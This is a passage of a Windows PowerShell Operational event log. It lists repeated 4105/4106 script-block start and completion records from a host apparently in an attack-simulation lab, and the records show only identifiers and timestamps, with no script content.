Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049439
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049438
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049437
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049436
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049420
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049419
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049414
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049413
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049406
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049405
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049400
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049399
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049398
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049397
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049396
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049395
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
